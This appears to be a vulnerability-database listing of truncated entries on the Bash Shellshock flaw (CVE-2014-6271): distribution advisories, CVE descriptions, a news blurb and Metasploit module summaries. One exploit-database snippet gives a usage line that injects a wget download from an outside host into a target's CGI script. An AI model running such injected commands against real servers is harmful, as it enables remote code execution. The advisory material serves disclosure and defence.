GNU Bash Environment Variable Handling RCE Vulnerability (Shellshock, HTTP, CVE-2014-6271/CVE-2014-6278) - Active Check

GNU Bash is prone to a remote command execution RCE vulnerability dubbed SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Bash - 'Shellshock' Environment Variables Command Injection

/cgi-bin/ -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271remotecodeexecutionthroughbash/ Test CGI Code : !/bin/bash echo "Content-type: text/html" echo "" echo...

openSUSE Security Update : bash (openSUSE-SU-2014:1226-1) (Shellshock)

bash was updated to fix a critical security issue, a minor security issue and bugs : In some circumstances, the shell would evaluate shellcode in environment variables passed at startup time. This allowed code execution by local or remote attackers who could pass environment variables to bash...

Slackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / current : bash (SSA:2014-267-01) (Shellshock)

New bash packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1, and -current to fix a security issue. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from Slackware Security Advisory 2014-267-01. The text itse...

FreeBSD : bash -- remote code execution vulnerability (71ad81da-4414-11e4-a33e-3c970e169bc2) (Shellshock)

Chet Ramey reports : Under certain circumstances, bash will execute user code while processing the environment for exported function definitions. The original fix released for CVE-2014-6271 was not adequate. A similar vulnerability was discovered and tagged as CVE-2014-7169. %NASLMINLEVEL 70300 C...

Remotely Exploitable 'Bash Shell' Vulnerability Affects Linux, Unix and Apple Mac OS X

A Critical remotely exploitable vulnerability has been discovered in the widely used Linux and Unix command-line shell, known as Bash, aka the GNU Bourne Again Shell, leaving countless websites, servers, PCs, OS X Macs, various home routers, and many more open to the cyber criminals. Earlier toda...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

DEBIAN-CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

Design/Logic Flaw

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

CVE-2014-6271 (Shellshock) affects GNU Bash up to 4.3, enabling remote code execution by processing trailing strings after function definitions in environment variables. Exploitation vectors include OpenSSH ForceCommand, mod_cgi/mod_cgid in Apache, DHCP client scripts, and other environment-passi...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

CVE-2014-6271

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)

This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTPUSERAGENT environment variable to a malicious function definition. Module Options msf use...

CUPS Filter Bash Environment Variable Code Injection (Shellshock)

This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CUPS filters through the PRINTERINFO and PRINTERLOCATION variables. A valid username and password is required to exploit this vulnerability through CUPS...

Internet Bug Bounty: GNU Bourne-Again Shell (Bash) 'Shellshock' Vulnerability

GNU Bash versions 1.14 through 4.3 contain a flaw that processes commands placed after function definitions in the added environment variable, allowing remote attackers to execute arbitrary code via a crafted environment which enables network-based exploitation. Original disclosure:...

CVE-2014-6271: Improper Neutralization of Special Elements used in an OS Command

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the modcgi and modcg...

Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner

This module scans for the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTPUSERAGENT environment variable to a malicious function definition. PROTIP: Use exploit/multi/handler...